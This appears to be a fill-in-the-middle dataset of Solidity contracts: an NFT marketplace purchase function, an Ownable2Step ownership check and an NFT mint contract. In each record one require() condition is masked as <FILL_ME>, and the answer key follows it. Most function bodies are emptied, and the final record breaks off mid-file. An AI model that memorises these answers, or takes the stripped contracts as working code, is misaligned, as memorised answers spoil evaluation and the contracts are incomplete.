_packsNames list of pack names /// @param _packsSymbols list of pack symbols /// @param _packsUris list of pack uri links function createMission( uint32 _missionId, uint32[] memory _packIds, string[] memory _packsNames, string[] memory _packsSymbols, string[] memory _packsUris ) external onlyRole(CREATOR) returns (uint64) { } /// @dev Private function for creation new mission by creating packs /// @param missionId new mission id /// @param _packIds list of new pack ids /// @param _names list of pack names /// @param _symbols list of pack symbols /// @param _uris list of pack uri links /// @param creator list of pack uri links function _createPacks( uint32 missionId, uint32[] memory _packIds, string[] memory _names, string[] memory _symbols, string[] memory _uris, address creator ) private { } /// @dev Private function for distribute ETH between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeEth( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress ) private { } /// @dev Private function for distribute ERC20 between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeErc20( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress, IERC20 _token ) private { } /// @dev External function to purchase a token from a specific pack /// @param purchaseData purchase data structure /// @param v sign v value /// @param r sign r value /// @param s sign s value function purchase( SignData memory purchaseData, uint8 v, bytes32 r, bytes32 s ) external payable nonReentrant returns (bool) { require( hasRole(SIGNER_MARKETPLACE_ROLE, _getSigner(msg.sender, purchaseData, v, r, s)), 'Action is inconsistent.' ); require(purchaseData.shareAddresses[1] != address(0), 'FundTreasury cannot be zero.'); require(<FILL_ME>) require( (purchaseData.shares[0] + purchaseData.shares[1] + purchaseData.shares[2]) == HUNDRED_PERCENTS, 'Shares must be equal 100000 (100%)' ); require(missions[purchaseData.missionId].id > 0, "Mission with this id doesn't exists."); require( purchaseData.availableIds.length >= purchaseData.quantity, 'Wrong quantity for minting.' ); if (purchaseData.tokenAddress != address(0)) { require(msg.value == 0, 'Purchase should be paid only in ERC-20.'); IERC20 token = IERC20(purchaseData.tokenAddress); token.safeTransferFrom(msg.sender, address(this), purchaseData.price); _distributeErc20( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress, IERC20(purchaseData.tokenAddress) ); } else { require(msg.value == purchaseData.price, 'Wrong amount of sent funds.'); _distributeEth( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress ); } PackNft nft = PackNft(purchaseData.packAddress); if (purchaseData.quantity == 1) { uint256 tokenId = purchaseData.availableIds[0]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } else { for (uint32 i = 0; i < purchaseData.quantity; ) { uint256 tokenId = purchaseData.availableIds[i]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); unchecked { ++i; } emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } } return true; } }
purchaseData.shareAddresses[2]!=address(0),'FeeCollector cannot be zero.'
117,280
purchaseData.shareAddresses[2]!=address(0)
'Shares must be equal 100000 (100%)'
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/access/AccessControl.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '../pack/PackNft.sol'; import '../utils/MathUtils.sol'; import './MarketplaceSignature.sol'; import '../proxy/PackProxy.sol'; import '../pack/eventListener/IEventListener.sol'; /// @title Marketplace Contract /// @notice Contract that implements all the functionality of the marketplace contract Marketplace is AccessControl, ReentrancyGuard, MarketplaceSignature { using SafeERC20 for IERC20; using Address for address payable; event SetBaseUri(string newBaseUri); event Purchased( address packAddress, uint256 tokenId, address user, uint256 amount, address tokenAddress ); event MissionCreated(address creator, uint32 missionId); event PackCreated(uint32 missionId, uint256 packId, address packAddress); event CelebrityFee(address celebrity, uint256 celebrityFee); event TokensUnlocked(address admin, address tokenAddress, uint256 amount); event FundsDistributed( address packAddress, address feeCollector, address fundTreasury, address celebrity, uint256 feeCollectorFee, uint256 fundTreasuryFee, uint256 celebrityFee, address tokenAddress ); bytes32 public constant ADMIN = keccak256('ADMIN'); bytes32 public constant CREATOR = keccak256('CREATOR'); bytes32 public constant SIGNER_MARKETPLACE_ROLE = keccak256('SIGNER_MARKETPLACE_ROLE'); PackNft public immutable packImplementation; IEventListener public immutable eventListener; struct Mission { uint32 id; address[] packs; } mapping(uint32 => Mission) private missions; string internal _baseTokenURI; uint16 public constant MAX_PACKS_COUNT = 10; uint32 public constant HUNDRED_PERCENTS = 100000; /// @dev Sets main dependencies /// @param _creator creator's address /// @param _signer signer's address /// @param _name contract name for EIP712 /// @param _version contract version for EIP712 constructor( address _creator, address _signer, string memory _name, string memory _version, address _eventListener ) { } /// @dev Set the base URI /// @param _baseURI Base path to metadata function setBaseUri(string memory _baseURI) external onlyRole(ADMIN) { } /// @dev Get mission information /// @param missionId mission id function getMission(uint32 missionId) external view returns (Mission memory) { } /// @dev Withdraw ERC20 token balance from contract address /// @param tokenAddress address of the ERC20 token contract whose tokens will be withdrawn to the recipient function unlockTokens(address tokenAddress) external onlyRole(ADMIN) { } /// @dev Create new mission by creating packs. Can only be performed by the creator /// @param _missionId new mission id /// @param _packIds list of new pack ids /// @param _packsNames list of pack names /// @param _packsSymbols list of pack symbols /// @param _packsUris list of pack uri links function createMission( uint32 _missionId, uint32[] memory _packIds, string[] memory _packsNames, string[] memory _packsSymbols, string[] memory _packsUris ) external onlyRole(CREATOR) returns (uint64) { } /// @dev Private function for creation new mission by creating packs /// @param missionId new mission id /// @param _packIds list of new pack ids /// @param _names list of pack names /// @param _symbols list of pack symbols /// @param _uris list of pack uri links /// @param creator list of pack uri links function _createPacks( uint32 missionId, uint32[] memory _packIds, string[] memory _names, string[] memory _symbols, string[] memory _uris, address creator ) private { } /// @dev Private function for distribute ETH between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeEth( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress ) private { } /// @dev Private function for distribute ERC20 between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeErc20( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress, IERC20 _token ) private { } /// @dev External function to purchase a token from a specific pack /// @param purchaseData purchase data structure /// @param v sign v value /// @param r sign r value /// @param s sign s value function purchase( SignData memory purchaseData, uint8 v, bytes32 r, bytes32 s ) external payable nonReentrant returns (bool) { require( hasRole(SIGNER_MARKETPLACE_ROLE, _getSigner(msg.sender, purchaseData, v, r, s)), 'Action is inconsistent.' ); require(purchaseData.shareAddresses[1] != address(0), 'FundTreasury cannot be zero.'); require(purchaseData.shareAddresses[2] != address(0), 'FeeCollector cannot be zero.'); require(<FILL_ME>) require(missions[purchaseData.missionId].id > 0, "Mission with this id doesn't exists."); require( purchaseData.availableIds.length >= purchaseData.quantity, 'Wrong quantity for minting.' ); if (purchaseData.tokenAddress != address(0)) { require(msg.value == 0, 'Purchase should be paid only in ERC-20.'); IERC20 token = IERC20(purchaseData.tokenAddress); token.safeTransferFrom(msg.sender, address(this), purchaseData.price); _distributeErc20( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress, IERC20(purchaseData.tokenAddress) ); } else { require(msg.value == purchaseData.price, 'Wrong amount of sent funds.'); _distributeEth( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress ); } PackNft nft = PackNft(purchaseData.packAddress); if (purchaseData.quantity == 1) { uint256 tokenId = purchaseData.availableIds[0]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } else { for (uint32 i = 0; i < purchaseData.quantity; ) { uint256 tokenId = purchaseData.availableIds[i]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); unchecked { ++i; } emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } } return true; } }
(purchaseData.shares[0]+purchaseData.shares[1]+purchaseData.shares[2])==HUNDRED_PERCENTS,'Shares must be equal 100000 (100%)'
117,280
(purchaseData.shares[0]+purchaseData.shares[1]+purchaseData.shares[2])==HUNDRED_PERCENTS
"Mission with this id doesn't exists."
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/access/AccessControl.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '../pack/PackNft.sol'; import '../utils/MathUtils.sol'; import './MarketplaceSignature.sol'; import '../proxy/PackProxy.sol'; import '../pack/eventListener/IEventListener.sol'; /// @title Marketplace Contract /// @notice Contract that implements all the functionality of the marketplace contract Marketplace is AccessControl, ReentrancyGuard, MarketplaceSignature { using SafeERC20 for IERC20; using Address for address payable; event SetBaseUri(string newBaseUri); event Purchased( address packAddress, uint256 tokenId, address user, uint256 amount, address tokenAddress ); event MissionCreated(address creator, uint32 missionId); event PackCreated(uint32 missionId, uint256 packId, address packAddress); event CelebrityFee(address celebrity, uint256 celebrityFee); event TokensUnlocked(address admin, address tokenAddress, uint256 amount); event FundsDistributed( address packAddress, address feeCollector, address fundTreasury, address celebrity, uint256 feeCollectorFee, uint256 fundTreasuryFee, uint256 celebrityFee, address tokenAddress ); bytes32 public constant ADMIN = keccak256('ADMIN'); bytes32 public constant CREATOR = keccak256('CREATOR'); bytes32 public constant SIGNER_MARKETPLACE_ROLE = keccak256('SIGNER_MARKETPLACE_ROLE'); PackNft public immutable packImplementation; IEventListener public immutable eventListener; struct Mission { uint32 id; address[] packs; } mapping(uint32 => Mission) private missions; string internal _baseTokenURI; uint16 public constant MAX_PACKS_COUNT = 10; uint32 public constant HUNDRED_PERCENTS = 100000; /// @dev Sets main dependencies /// @param _creator creator's address /// @param _signer signer's address /// @param _name contract name for EIP712 /// @param _version contract version for EIP712 constructor( address _creator, address _signer, string memory _name, string memory _version, address _eventListener ) { } /// @dev Set the base URI /// @param _baseURI Base path to metadata function setBaseUri(string memory _baseURI) external onlyRole(ADMIN) { } /// @dev Get mission information /// @param missionId mission id function getMission(uint32 missionId) external view returns (Mission memory) { } /// @dev Withdraw ERC20 token balance from contract address /// @param tokenAddress address of the ERC20 token contract whose tokens will be withdrawn to the recipient function unlockTokens(address tokenAddress) external onlyRole(ADMIN) { } /// @dev Create new mission by creating packs. Can only be performed by the creator /// @param _missionId new mission id /// @param _packIds list of new pack ids /// @param _packsNames list of pack names /// @param _packsSymbols list of pack symbols /// @param _packsUris list of pack uri links function createMission( uint32 _missionId, uint32[] memory _packIds, string[] memory _packsNames, string[] memory _packsSymbols, string[] memory _packsUris ) external onlyRole(CREATOR) returns (uint64) { } /// @dev Private function for creation new mission by creating packs /// @param missionId new mission id /// @param _packIds list of new pack ids /// @param _names list of pack names /// @param _symbols list of pack symbols /// @param _uris list of pack uri links /// @param creator list of pack uri links function _createPacks( uint32 missionId, uint32[] memory _packIds, string[] memory _names, string[] memory _symbols, string[] memory _uris, address creator ) private { } /// @dev Private function for distribute ETH between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeEth( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress ) private { } /// @dev Private function for distribute ERC20 between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeErc20( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress, IERC20 _token ) private { } /// @dev External function to purchase a token from a specific pack /// @param purchaseData purchase data structure /// @param v sign v value /// @param r sign r value /// @param s sign s value function purchase( SignData memory purchaseData, uint8 v, bytes32 r, bytes32 s ) external payable nonReentrant returns (bool) { require( hasRole(SIGNER_MARKETPLACE_ROLE, _getSigner(msg.sender, purchaseData, v, r, s)), 'Action is inconsistent.' ); require(purchaseData.shareAddresses[1] != address(0), 'FundTreasury cannot be zero.'); require(purchaseData.shareAddresses[2] != address(0), 'FeeCollector cannot be zero.'); require( (purchaseData.shares[0] + purchaseData.shares[1] + purchaseData.shares[2]) == HUNDRED_PERCENTS, 'Shares must be equal 100000 (100%)' ); require(<FILL_ME>) require( purchaseData.availableIds.length >= purchaseData.quantity, 'Wrong quantity for minting.' ); if (purchaseData.tokenAddress != address(0)) { require(msg.value == 0, 'Purchase should be paid only in ERC-20.'); IERC20 token = IERC20(purchaseData.tokenAddress); token.safeTransferFrom(msg.sender, address(this), purchaseData.price); _distributeErc20( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress, IERC20(purchaseData.tokenAddress) ); } else { require(msg.value == purchaseData.price, 'Wrong amount of sent funds.'); _distributeEth( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress ); } PackNft nft = PackNft(purchaseData.packAddress); if (purchaseData.quantity == 1) { uint256 tokenId = purchaseData.availableIds[0]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } else { for (uint32 i = 0; i < purchaseData.quantity; ) { uint256 tokenId = purchaseData.availableIds[i]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); unchecked { ++i; } emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } } return true; } }
missions[purchaseData.missionId].id>0,"Mission with this id doesn't exists."
117,280
missions[purchaseData.missionId].id>0
'This token already exists.'
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/access/AccessControl.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '../pack/PackNft.sol'; import '../utils/MathUtils.sol'; import './MarketplaceSignature.sol'; import '../proxy/PackProxy.sol'; import '../pack/eventListener/IEventListener.sol'; /// @title Marketplace Contract /// @notice Contract that implements all the functionality of the marketplace contract Marketplace is AccessControl, ReentrancyGuard, MarketplaceSignature { using SafeERC20 for IERC20; using Address for address payable; event SetBaseUri(string newBaseUri); event Purchased( address packAddress, uint256 tokenId, address user, uint256 amount, address tokenAddress ); event MissionCreated(address creator, uint32 missionId); event PackCreated(uint32 missionId, uint256 packId, address packAddress); event CelebrityFee(address celebrity, uint256 celebrityFee); event TokensUnlocked(address admin, address tokenAddress, uint256 amount); event FundsDistributed( address packAddress, address feeCollector, address fundTreasury, address celebrity, uint256 feeCollectorFee, uint256 fundTreasuryFee, uint256 celebrityFee, address tokenAddress ); bytes32 public constant ADMIN = keccak256('ADMIN'); bytes32 public constant CREATOR = keccak256('CREATOR'); bytes32 public constant SIGNER_MARKETPLACE_ROLE = keccak256('SIGNER_MARKETPLACE_ROLE'); PackNft public immutable packImplementation; IEventListener public immutable eventListener; struct Mission { uint32 id; address[] packs; } mapping(uint32 => Mission) private missions; string internal _baseTokenURI; uint16 public constant MAX_PACKS_COUNT = 10; uint32 public constant HUNDRED_PERCENTS = 100000; /// @dev Sets main dependencies /// @param _creator creator's address /// @param _signer signer's address /// @param _name contract name for EIP712 /// @param _version contract version for EIP712 constructor( address _creator, address _signer, string memory _name, string memory _version, address _eventListener ) { } /// @dev Set the base URI /// @param _baseURI Base path to metadata function setBaseUri(string memory _baseURI) external onlyRole(ADMIN) { } /// @dev Get mission information /// @param missionId mission id function getMission(uint32 missionId) external view returns (Mission memory) { } /// @dev Withdraw ERC20 token balance from contract address /// @param tokenAddress address of the ERC20 token contract whose tokens will be withdrawn to the recipient function unlockTokens(address tokenAddress) external onlyRole(ADMIN) { } /// @dev Create new mission by creating packs. Can only be performed by the creator /// @param _missionId new mission id /// @param _packIds list of new pack ids /// @param _packsNames list of pack names /// @param _packsSymbols list of pack symbols /// @param _packsUris list of pack uri links function createMission( uint32 _missionId, uint32[] memory _packIds, string[] memory _packsNames, string[] memory _packsSymbols, string[] memory _packsUris ) external onlyRole(CREATOR) returns (uint64) { } /// @dev Private function for creation new mission by creating packs /// @param missionId new mission id /// @param _packIds list of new pack ids /// @param _names list of pack names /// @param _symbols list of pack symbols /// @param _uris list of pack uri links /// @param creator list of pack uri links function _createPacks( uint32 missionId, uint32[] memory _packIds, string[] memory _names, string[] memory _symbols, string[] memory _uris, address creator ) private { } /// @dev Private function for distribute ETH between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeEth( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress ) private { } /// @dev Private function for distribute ERC20 between share addresses /// @param _value distribute value /// @param shares percentage distribution list /// @param shareAddresses list of distribution addresses /// @param _packAddress list of pack addresses function _distributeErc20( uint256 _value, uint256[] memory shares, address[] memory shareAddresses, address _packAddress, IERC20 _token ) private { } /// @dev External function to purchase a token from a specific pack /// @param purchaseData purchase data structure /// @param v sign v value /// @param r sign r value /// @param s sign s value function purchase( SignData memory purchaseData, uint8 v, bytes32 r, bytes32 s ) external payable nonReentrant returns (bool) { require( hasRole(SIGNER_MARKETPLACE_ROLE, _getSigner(msg.sender, purchaseData, v, r, s)), 'Action is inconsistent.' ); require(purchaseData.shareAddresses[1] != address(0), 'FundTreasury cannot be zero.'); require(purchaseData.shareAddresses[2] != address(0), 'FeeCollector cannot be zero.'); require( (purchaseData.shares[0] + purchaseData.shares[1] + purchaseData.shares[2]) == HUNDRED_PERCENTS, 'Shares must be equal 100000 (100%)' ); require(missions[purchaseData.missionId].id > 0, "Mission with this id doesn't exists."); require( purchaseData.availableIds.length >= purchaseData.quantity, 'Wrong quantity for minting.' ); if (purchaseData.tokenAddress != address(0)) { require(msg.value == 0, 'Purchase should be paid only in ERC-20.'); IERC20 token = IERC20(purchaseData.tokenAddress); token.safeTransferFrom(msg.sender, address(this), purchaseData.price); _distributeErc20( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress, IERC20(purchaseData.tokenAddress) ); } else { require(msg.value == purchaseData.price, 'Wrong amount of sent funds.'); _distributeEth( purchaseData.price, purchaseData.shares, purchaseData.shareAddresses, purchaseData.packAddress ); } PackNft nft = PackNft(purchaseData.packAddress); if (purchaseData.quantity == 1) { uint256 tokenId = purchaseData.availableIds[0]; require(<FILL_ME>) nft.safeMint(msg.sender, tokenId); emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } else { for (uint32 i = 0; i < purchaseData.quantity; ) { uint256 tokenId = purchaseData.availableIds[i]; require(!nft.exists(tokenId), 'This token already exists.'); nft.safeMint(msg.sender, tokenId); unchecked { ++i; } emit Purchased( purchaseData.packAddress, tokenId, msg.sender, msg.value, purchaseData.tokenAddress ); } } return true; } }
!nft.exists(tokenId),'This token already exists.'
117,280
!nft.exists(tokenId)
"Ownable2Step: caller is not the new owner"
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, DefaultOperatorFilterer { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; string private _name; string private _symbol; mapping(uint256 => TokenOwnership) internal _ownerships; mapping(address => AddressData) private _addressData; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } function totalSupply() public view override returns (uint256) { } function tokenByIndex(uint256 index) public view override returns (uint256) { } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } function ownerOf(uint256 tokenId) public view override returns (address) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function _baseURI() internal view virtual returns (string memory) { } function approve(address to, uint256 tokenId) public virtual override onlyAllowedOperator(to) { } function getApproved(uint256 tokenId) public view override returns (address) { } function setApprovalForAll(address operator, bool approved) public virtual override onlyAllowedOperator(operator) { } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override onlyAllowedOperator(from){ } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override onlyAllowedOperator(from){ } function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { } function _transfer( address from, address to, uint256 tokenId ) private { } function _approve( address to, uint256 tokenId, address owner ) private { } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { } } abstract contract Ownable2Step is Ownable { address private _pendingOwner; event OwnershipTransferStarted(address indexed previousOwner, address indexed newOwner); /** * @dev Returns the address of the pending owner. */ function pendingOwner() public view virtual returns (address) { } /** * @dev Starts the ownership transfer of the contract to a new account. Replaces the pending transfer if there is one. * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual override onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`) and deletes any pending owner. * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual override { } /** * @dev The new owner accepts the ownership transfer. */ function acceptOwnership() external { address sender = _msgSender(); require(<FILL_ME>) _transferOwnership(sender); } } contract OwnedRegistrant is Ownable2Step { address constant registry = 0x000000000000AAeB6D7670E522A718067333cd4E; constructor(address _owner) { } } pragma solidity ^0.8.13; /** * @title UpdatableOperatorFilterer * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another * registrant's entries in the OperatorFilterRegistry. This contract allows the Owner to update the * OperatorFilterRegistry address via updateOperatorFilterRegistryAddress, including to the zero address, * which will bypass registry checks. * Note that OpenSea will still disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. * @dev This smart contract is meant to be inherited by token contracts so they can use the following: * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods. * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods. */ abstract contract UpdatableOperatorFilterer { error OperatorNotAllowed(address operator); error OnlyOwner(); IOperatorFilterRegistry public operatorFilterRegistry; constructor(address _registry, address subscriptionOrRegistrantToCopy, bool subscribe) { } modifier onlyAllowedOperator(address from) virtual { } modifier onlyAllowedOperatorApproval(address operator) virtual { } /** * @notice Update the address that the contract will make OperatorFilter checks against. When set to the zero * address, checks will be bypassed. OnlyOwner. */ function updateOperatorFilterRegistryAddress(address newRegistry) public virtual { } /** * @dev assume the contract has an owner, but leave specific Ownable implementation up to inheriting contract */ function owner() public view virtual returns (address); function _checkFilterOperator(address operator) internal view virtual { } } pragma solidity ^0.8.13; /** * @title RevokableOperatorFilterer * @notice This contract is meant to allow contracts to permanently skip OperatorFilterRegistry checks if desired. The * Registry itself has an "unregister" function, but if the contract is ownable, the owner can re-register at * any point. As implemented, this abstract contract allows the contract owner to permanently skip the * OperatorFilterRegistry checks by calling revokeOperatorFilterRegistry. Once done, the registry * address cannot be further updated. * Note that OpenSea will still disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. */ abstract contract RevokableOperatorFilterer is UpdatableOperatorFilterer { error RegistryHasBeenRevoked(); error InitialRegistryAddressCannotBeZeroAddress(); bool public isOperatorFilterRegistryRevoked; constructor(address _registry, address subscriptionOrRegistrantToCopy, bool subscribe) UpdatableOperatorFilterer(_registry, subscriptionOrRegistrantToCopy, subscribe) { } function _checkFilterOperator(address operator) internal view virtual override { } /** * @notice Update the address that the contract will make OperatorFilter checks against. When set to the zero * address, checks will be permanently bypassed, and the address cannot be updated again. OnlyOwner. */ function updateOperatorFilterRegistryAddress(address newRegistry) public override { } /** * @notice Revoke the OperatorFilterRegistry address, permanently bypassing checks. OnlyOwner. */ function revokeOperatorFilterRegistry() public { } } pragma solidity ^0.8.13; /** * @title RevokableDefaultOperatorFilterer * @notice Inherits from RevokableOperatorFilterer and automatically subscribes to the default OpenSea subscription. * Note that OpenSea will disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. */ abstract contract RevokableDefaultOperatorFilterer is RevokableOperatorFilterer { address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6); constructor() RevokableOperatorFilterer(0x000000000000AAeB6D7670E522A718067333cd4E, DEFAULT_SUBSCRIPTION, true) {} } /* / IllusionistNFT / unique and innovative digital art project. / Num of FreeMint = 2 / 0.0008E Per Illusionist */ pragma solidity ^0.8.9; contract IllusionistNFT is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; uint public price = 0.0008 ether; uint public maxTx = 20; uint public maxSupply = 2222; uint256 public reservedSupply = 2222; string private baseURI ; bool public mintEnabled = false; uint public maxPerFree = 2; uint public totalFreeMinted = 0; uint public totalFree ; mapping(address => uint256) public _FreeMinted; constructor() ERC721A("Illusionist NFT", "Illusionist") {} function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function _baseURI() internal view virtual override returns (string memory) { } function MintIllusionist(uint256 count) external payable { } function TMintIllusionist(uint256 Amount) external onlyOwner { } function EnableIllusionist() external onlyOwner { } function setBaseUri(string memory baseuri_) public onlyOwner { } function setCost(uint256 price_) external onlyOwner { } function setmaxTx(uint256 _MaxTx) external onlyOwner { } function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner { } function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { } function withdraw() external onlyOwner nonReentrant { } }
pendingOwner()==sender,"Ownable2Step: caller is not the new owner"
117,389
pendingOwner()==sender
"Please send the exact ETH amount"
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, DefaultOperatorFilterer { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; string private _name; string private _symbol; mapping(uint256 => TokenOwnership) internal _ownerships; mapping(address => AddressData) private _addressData; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } function totalSupply() public view override returns (uint256) { } function tokenByIndex(uint256 index) public view override returns (uint256) { } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } function ownerOf(uint256 tokenId) public view override returns (address) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function _baseURI() internal view virtual returns (string 